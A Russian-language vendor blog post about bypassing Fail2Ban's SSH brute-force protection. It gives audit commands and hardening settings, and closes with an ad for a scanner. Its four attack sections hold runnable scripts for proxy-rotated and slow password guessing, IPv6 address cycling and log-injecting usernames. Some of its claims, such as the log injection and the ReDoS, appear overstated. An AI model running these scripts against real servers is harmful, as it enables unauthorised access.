Обход Fail2Ban: 4 эксплойта, ломающих защиту Linux от brute-force

Fail2Ban защищает миллионы серверов. Вот 4 реальных эксплойта, которые обходят его полностью.

Кратко

  • Ротация IP обходит трекинг по адресам через 1000+ прокси
  • IPv6 /48 = 2^80 адресов, Fail2Ban банит по одному
  • Инъекция логов отравляет regex-парсер через SSH-имена
  • Медленный перебор ниже порога: 52 000 попыток/день незаметно

Что такое Fail2Ban?

Python-инструмент, мониторящий логи и блокирующий IP после неудачных входов. Установлен на миллионах Linux-серверов. Но современные атакующие обходят его легко.
root@server:~
root@server:~$ fail2ban-client status sshd

Как это работает

Fail2Ban следит за логами (/var/log/auth.log или systemd journal) на паттерны типа "Failed password". Когда один IP превышает maxretry за findtime секунд, Fail2Ban добавляет правило iptables/nftables для блокировки IP на bantime секунд. Три параметра — вся ваша защита от brute-force.
# Логика проста:
# 1. Следить:   /var/log/auth.log
# 2. Искать:    "Failed password for .* from <HOST>"
# 3. Считать:   если ошибок от <HOST> >= maxretry за findtime
# 4. Банить:    iptables -I INPUT -s <HOST> -j REJECT
# 5. Разбанить: через bantime секунд удалить правило

# Конфиг по умолчанию (/etc/fail2ban/jail.conf):
[sshd]
enabled  = true
maxretry = 5       # 5 ошибок допускается
findtime = 600     # за 10 минут
bantime  = 600     # бан на 10 минут

Вы уязвимы? Проверьте сейчас

Выполните эти команды на сервере. Если хоть одна проверка не пройдена — вы под угрозой.
# 1. Fail2Ban вообще работает?
sudo fail2ban-client status

# 2. Текущие настройки
sudo fail2ban-client get sshd maxretry    # по умолчанию 5 = слишком много
sudo fail2ban-client get sshd findtime    # по умолчанию 600 = слишком мало
sudo fail2ban-client get sshd bantime     # по умолчанию 600 = слишком мало

# 3. SSH принимает пароли? (должно быть NO)
grep -i "PasswordAuthentication" /etc/ssh/sshd_config

# 4. IPv6 открыт?
ss -tlnp | grep ":22"
# Если видите [::]:22 → IPv6 SSH открыт

# 5. Сколько IP забанено?
sudo fail2ban-client status sshd
Если maxretry > 3, findtime < 3600 или PasswordAuthentication yes — вы уязвимы ко всем 4 эксплойтам ниже.

Эксплойт 1 — Ротация IP

Fail2Ban считает ошибки по IP. Распределите атаку по 1000 прокси — ни один IP не достигнет порога.
IP Rotation — Live Attack Simulation
ROTATING SOURCE IPs
185.220.101.420/5
104.244.76.130/5
51.15.43.2070/5
198.98.52.690/5
23.129.64.110/5
45.153.160.20/5
0
TOTAL ATTEMPTS
0
BANS TRIGGERED
maxretry=5 never reached
# Ротация IP через proxychains
for ip in $(cat proxy_list.txt); do
  proxychains -f <(echo "socks5 $ip 1080") \
    sshpass -p "pass123" ssh admin@target 2>/dev/null
done
# 1,000 IP × 4 попытки = 4,000 подборов, НОЛЬ банов

Эксплойт 2 — Злоупотребление IPv6

Префикс /48 даёт 2^80 адресов. Fail2Ban банит отдельные /128 — бесполезно.
# Новый IPv6 для каждой попытки
PREFIX="2001:db8:abcd"
for i in $(seq 1 10000); do
  ADDR="$PREFIX:$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2)"
  ip -6 addr add "$ADDR/128" dev eth0
  ssh -b "$ADDR" admin@target 2>/dev/null
  ip -6 addr del "$ADDR/128" dev eth0
done

Эксплойт 3 — Инъекция логов

Fail2Ban парсит логи regex. Специальные SSH-имена внедряют фейковые записи, замораживают парсер или банят IP администратора.
# Фейковый "успешный вход" через SSH-имя
ssh 'admin\nMay 20 10:00:00 srv sshd[999]: Accepted password for root from 10.0.0.1'@target

# ReDoS — зависание Fail2Ban
ssh 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'@target

# Бан IP админа фейковой записью
ssh 'x\nMay 20 10:00:00 srv sshd[999]: Failed password for root from ADMIN_IP'@target

Эксплойт 4 — Медленный перебор

findtime по умолчанию 600с. Растяните попытки — счётчик сбрасывается. Полностью невидимо.
Slow Brute-Force — Below Radar
4
4
4
4
4
4
4
ban threshold (5)
00:00
00:11
00:22
00:33
00:44
00:55
01:06
4 attempts — findtime resets every window — 0 bans
#!/bin/bash
while IFS= read -r pass; do
  for user in root admin deploy; do
    sshpass -p "$pass" ssh -o ConnectTimeout=5 $user@target 2>/dev/null
    sleep 180
  done
done < rockyou.txt
# 524/день/IP × 100 IP = 52,400 попыток/день

Исправление

Fail2Ban в одиночку недостаточен. Многоуровневая защита:
# 1. Отключить пароли
PasswordAuthentication no

# 2. Усилить Fail2Ban
[sshd]
maxretry  = 3
findtime  = 3600
bantime   = 86400
filter    = sshd[mode=aggressive]

# 3. Банить IPv6 /64
[DEFAULT]
ipv6_prefix = 64

# 4. Rate limit на файрволе
iptables -A INPUT -p tcp --dport 22 \
  -m hashlimit --hashlimit-above 3/min \
  --hashlimit-burst 5 --hashlimit-mode srcip \
  --hashlimit-name ssh -j DROP
SSH-ключи + усиленный Fail2Ban + rate limiting = brute-force невозможен.

Сканируйте с TEPTEZ. Найдите это раньше атакующих.

TEPTEZ автоматически находит слабые конфигурации Fail2Ban, открытые SSH и brute-force уязвимости. Попробуйте наш DAST AI — сканирует, находит и даёт готовое исправление.

Попробовать TEPTEZ